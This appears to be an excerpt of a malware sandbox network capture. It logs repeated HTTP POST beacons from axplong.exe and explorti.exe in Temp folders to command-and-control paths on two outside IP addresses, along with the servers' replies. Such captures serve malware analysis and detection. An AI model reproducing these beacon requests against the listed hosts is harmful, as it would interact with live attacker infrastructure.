Jul 26, 2024 10:42:12.113631010 CEST	312	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 37 32 38 37 36 42 38 35 31 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7DB72876B85182D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jul 26, 2024 10:42:12.986632109 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 08:42:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
131	192.168.2.6	49983	185.215.113.16	80	4876	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 10:38:01.617671013 CEST	314	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 44 41 31 34 30 43 32 46 33 46 44 33 33 43 32 30 39 42 44 42 31 30 30 31 36 34 44 37 31 32 45 44 35 42 30 34 43 33 45 38 37 44 43 46 34 31 43 33 31 39 39 31 46 35 31 35 36 36 35 33 35 46 30 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CCFDA140C2F3FD33C209BDB100164D712ED5B04C3E87DCF41C31991F51566535F0
Jul 26, 2024 10:38:02.387295008 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 08:38:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0
Jul 26, 2024 10:42:13.123198986 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 10:42:13.866679907 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 08:42:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
132	192.168.2.6	49987	185.215.113.16	80	4876	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 10:38:02.501739025 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 10:38:03.242928982 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 08:38:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
133	192.168.2.6	49988	185.215.113.19	80	7716	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 10:38:02.652667046 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 10:38:03.403578043 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 08:38:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 26, 2024 10:38:03.405070066 CEST	312	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 37 32 38 37 36 42 38 35 31 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7DB72876B85182D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jul 26, 2024 10:38:03.651765108 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 08:38:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
134	192.168.2.6	49989	185.215.113.16	80	4876	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 10:38:03.261403084 CEST	314	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 44 41 31 34 30 43 32 46 33 46 44 33 33 43 32 30 39 42 44 42 31 30 30 31 36 34 44 37 31 32 45 44 35 42 30 34 43 33 45 38 37 44 43 46 34 31 43 33 31 39 39 31 46 35 31 35 36 36 35 33 35 46 30 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CCFDA140C2F3FD33C209BDB100164D712ED5B04C3E87DCF41C31991F51566535F0
Jul 26, 2024 10:38:04.281471014 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 08:38:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0
Jul 26, 2024 10:38:04.287681103 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 08:38:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
135	192.168.2.6	49990	185.215.113.19	80	7716	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 10:38:03.758560896 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 10:38:04.570267916 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 08:38:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 26, 2024 10:38:04.572082043 CEST	312	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 37 32 38 37 36 42 38 35 31 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7DB72876B85182D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jul 26, 2024 10:38:04.831620932 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 08:38:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
136	192.168.2.6	49991	185.215.113.16	80	4876	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 10:38:04.408658981 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 10:38:05.501565933 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 08:38:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 26, 2024 10:38:05.502396107 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 08:38:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
137	192.168.2.6	49992	185.215.113.19	80	7716	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 10:38:04.952944040 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 10:38:05.716612101 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 08:38:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 26, 2024 10:38:05.720944881 CEST	312	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 37 32 38 37 36 42 38 35 31 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7DB72876B85182D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jul 26, 2024 10:38:05.967546940 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 08:38:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
138	192.168.2.6	49994	185.215.113.16	80	4876	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 10:38:05.516608953 CEST	314	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 44 41 31 34 30 43 32 46 33 46 44 33 33 43 32 30 39 42 44 42 31 30 30 31 36 34 44 37 31 32 45 44 35 42 30 34 43 33 45 38 37 44 43 46 34 31 43 33 31 39 39 31 46 35 31 35 36 36 35 33 35 46 30 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CCFDA140C2F3FD33C209BDB100164D712ED5B04C3E87DCF41C31991F51566535F0
Jul 26, 2024 10:38:06.311700106 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 08:38:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0
Jul 26, 2024 10:42:18.229626894 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 10:42:18.975970030 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 08:42:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
139	192.168.2.6	49995	185.215.113.19	80	7716	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 10:38:06.129519939 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 10:38:06.904370070 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 08:38:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 26, 2024 10:42:18.290200949 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 10:42:19.072015047 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 08:42:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
140	192.168.2.6	49996	185.215.113.16	80	4876	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 10:38:06.462347031 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 10:38:07.214751005 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 08:38:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 26, 2024 10:42:18.986315966 CEST	314	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 44 41 31 34 30 43 32 46 33 46 44 33 33 43 32 30 39 42 44 42 31 30 30 31 36 34 44 37 31 32 45 44 35 42 30 34 43 33 45 38 37 44 43 46 34 31 43 33 31 39 39 31 46 35 31 35 36 36 35 33 35 46 30 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CCFDA140C2F3FD33C209BDB100164D712ED5B04C3E87DCF41C31991F51566535F0
Jul 26, 2024 10:42:19.792551041 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 08:42:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
141	192.168.2.6	49997	185.215.113.19	80	7716	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 10:38:06.914345026 CEST	312	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 37 32 38 37 36 42 38 35 31 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7DB72876B85182D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jul 26, 2024 10:38:07.716871023 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 08:38:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0
Jul 26, 2024 10:42:19.080903053 CEST	312	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 37 32 38 37 36 42 38 35 31 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7DB72876B85182D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jul 26, 2024 10:42:19.835340023 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 08:42:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
142	192.168.2.6	49998	185.215.113.16	80	4876	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 10:38:07.244638920 CEST	314	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 44 41 31 34 30 43 32 46 33 46 44 33 33 43 32 30 39 42 44 42 31 30 30 31 36 34 44 37 31 32 45 44 35 42 30 34 43 33 45 38 37 44 43 46 34 31 43 33 31 39 39 31 46 35 31 35 36 36 35 33 35 46 30 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CCFDA140C2F3FD33C209BDB100164D712ED5B04C3E87DCF41C31991F51566535F0
Jul 26, 2024 10:38:08.027424097 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 08:38:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0
Jul 26, 2024 10:42:19.906335115 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 10:42:20.693419933 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 08:42:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
143	192.168.2.6	49999	185.215.113.19	80	7716	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 10:38:07.829166889 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 10:38:08.613711119 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 08:38:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 26, 2024 10:42:19.969768047 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 10:42:20.720642090 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 08:42:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
144	192.168.2.6	50000	185.215.113.16	80	4876	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 10:38:08.142448902 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 10:38:08.981659889 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 08:38:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
